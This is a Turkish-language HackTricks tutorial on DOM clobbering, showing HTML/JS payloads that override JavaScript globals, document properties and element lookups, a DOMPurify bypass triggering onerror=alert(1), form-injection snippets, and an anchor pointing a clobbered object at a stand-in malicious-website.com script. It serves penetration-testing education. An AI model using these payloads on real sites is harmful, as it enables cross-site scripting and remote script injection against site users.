Dom Clobbering

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Temel Bilgiler

HTML etiketlerinde id ve name öznitelikleri ile JS bağlamında global değişkenler oluşturmak mümkündür.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Sadece belirli öğeler name attribute kullanarak globals'ı clobber edebilir, bunlar: embed, form, iframe, image, img ve object.

İlginç bir şekilde, bir form element kullanarak bir değişkeni clobber ettiğinizde, öğenin kendisinin toString değeri alırsınız: [object HTMLFormElement] ama anchor ile toString anchor'un href değeri olacaktır. Bu nedenle, a etiketi kullanarak clobber yaparsanız, string olarak işlendiğinde değeri kontrol edebilirsiniz:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Diziler ve Özellikler

Bir diziyi ve nesne özelliklerini de çökmek mümkündür:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

3. bir niteliği (örneğin x.y.z) etkisiz hale getirmek için bir form kullanmalısınız:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Daha fazla özelliği clobberlamak daha karmaşık ama yine de mümkündür, iframe'ler kullanarak:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

style etiketi iframe'in render edilmesi için yeterince zaman vermek amacıyla kullanılır. Bunu yapmadan undefined uyarısı alırsınız.

Daha derin özellikleri clobber etmek için, html kodlaması ile iframeler kullanabilirsiniz:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Filtre Atlatma

Eğer bir filtre, bir düğümün özellikleri üzerinden document.getElementByID('x').attributes gibi bir şey kullanarak dönüyorsa, .attributes niteliğini geçersiz kılabilir ve filtreyi bozabilirsiniz. Diğer DOM özellikleri, tagName, nodeName veya parentNode gibi ve daha fazlası da geçersiz kılınabilir.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

JavaScript'te şunu bulmak yaygındır:

var someObject = window.someObject || {};

HTML'yi sayfada manipüle etmek, someObject'ı bir DOM düğümü ile geçersiz kılmayı sağlar ve bu da potansiyel olarak güvenlik açıkları oluşturabilir. Örneğin, someObject'ı kötü niyetli bir betiğe işaret eden bir bağlantı öğesi ile değiştirebilirsiniz:

<a id=someObject href=//malicious-website.com/malicious.js></a>

Bir açık kodda şöyle:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Bu yöntem, istenmeyen kodu çalıştırmak için script kaynağını kullanır.

Hile: DOMPurify, cid: protokolünü kullanmanıza izin verir, bu da çift tırnakları URL-encode etmez. Bu, çalışma zamanında çözülecek bir kodlanmış çift tırnağı enjekte edebileceğiniz anlamına gelir. Bu nedenle, <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> gibi bir şey enjekte etmek, HTML kodlanmış &quot;'ın çalışma zamanında çözüleceği ve özellik değerinden kaçacağı için onerror olayını oluşturur.

Başka bir teknik, bir form öğesi kullanır. Belirli istemci tarafı kütüphaneleri, yeni oluşturulan bir form öğesinin özelliklerini temizlemek için inceler. Ancak, formun içine id=attributes olan bir input ekleyerek, özellikler özelliğini etkili bir şekilde geçersiz kılarsınız ve temizleyicinin gerçek özelliklere erişmesini engellersiniz.

Bu tür bir clobbering örneğini bu CTF yazısında bulabilirsiniz.

Belge nesnesini clobbering

Belgelerine göre, DOM Clobbering kullanarak belge nesnesinin özelliklerini geçersiz kılmak mümkündür:

Document arayüzü adlandırılmış özellikleri destekler. Document nesnesinin desteklenen özellik adları her an için aşağıdakilerden oluşur, ağaç sırasına göre, katkıda bulunan öğeye göre, sonraki kopyaları göz ardı ederek ve aynı öğe her ikisini de katkıda bulunduğunda, id özelliklerinden gelen değerlerin, ad özelliklerinden gelen değerlerden önce geldiği:

- Boş olmayan bir ad içerik özelliğine sahip ve bir belge ağacında belge kökü olarak bulunan tüm açık embed, form, iframe, img ve açık object öğeleri için ad içerik özelliğinin değeri; - Boş olmayan bir id içerik özelliğine sahip ve bir belge ağacında belge kökü olarak bulunan tüm açık object öğeleri için id içerik özelliğinin değeri; - Boş olmayan bir id içerik özelliğine ve boş olmayan bir ad içerik özelliğine sahip olan ve bir belge ağacında belge kökü olarak bulunan tüm img öğeleri için id içerik özelliğinin değeri.

Bu tekniği kullanarak, yaygın olarak kullanılan document.cookie, document.body, document.children gibi değerleri ve hatta document.querySelector gibi Document arayüzündeki yöntemleri geçersiz kılabilirsiniz.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Eleman clobbering'den sonra yazma

document.getElementById() ve document.querySelector() çağrılarının sonuçları, aynı id niteliğine sahip bir <html> veya <body> etiketi enjekte edilerek değiştirilebilir. İşte bunun nasıl yapılacağı:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Ayrıca, bu enjekte edilmiş HTML/body etiketlerini gizlemek için stiller kullanarak, innerText içindeki diğer metinlerden gelen müdahale önlenebilir ve böylece saldırının etkinliği artırılabilir:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

SVG ile yapılan araştırmalar, bir <body> etiketinin de etkili bir şekilde kullanılabileceğini ortaya koydu:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

SVG'de HTML etiketinin Chrome ve Firefox gibi tarayıcılarda çalışabilmesi için bir <foreignobject> etiketi gereklidir:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering Forms

Bir formun içine yeni girişler eklemek mümkündür, sadece bazı etiketler içinde form niteliğini belirterek. Bunu, formun içine yeni değerler eklemek ve hatta yeni bir buton eklemek için kullanabilirsiniz göndermek için (clickjacking veya bazı .click() JS kodlarını kötüye kullanarak):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Referanslar

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Last updated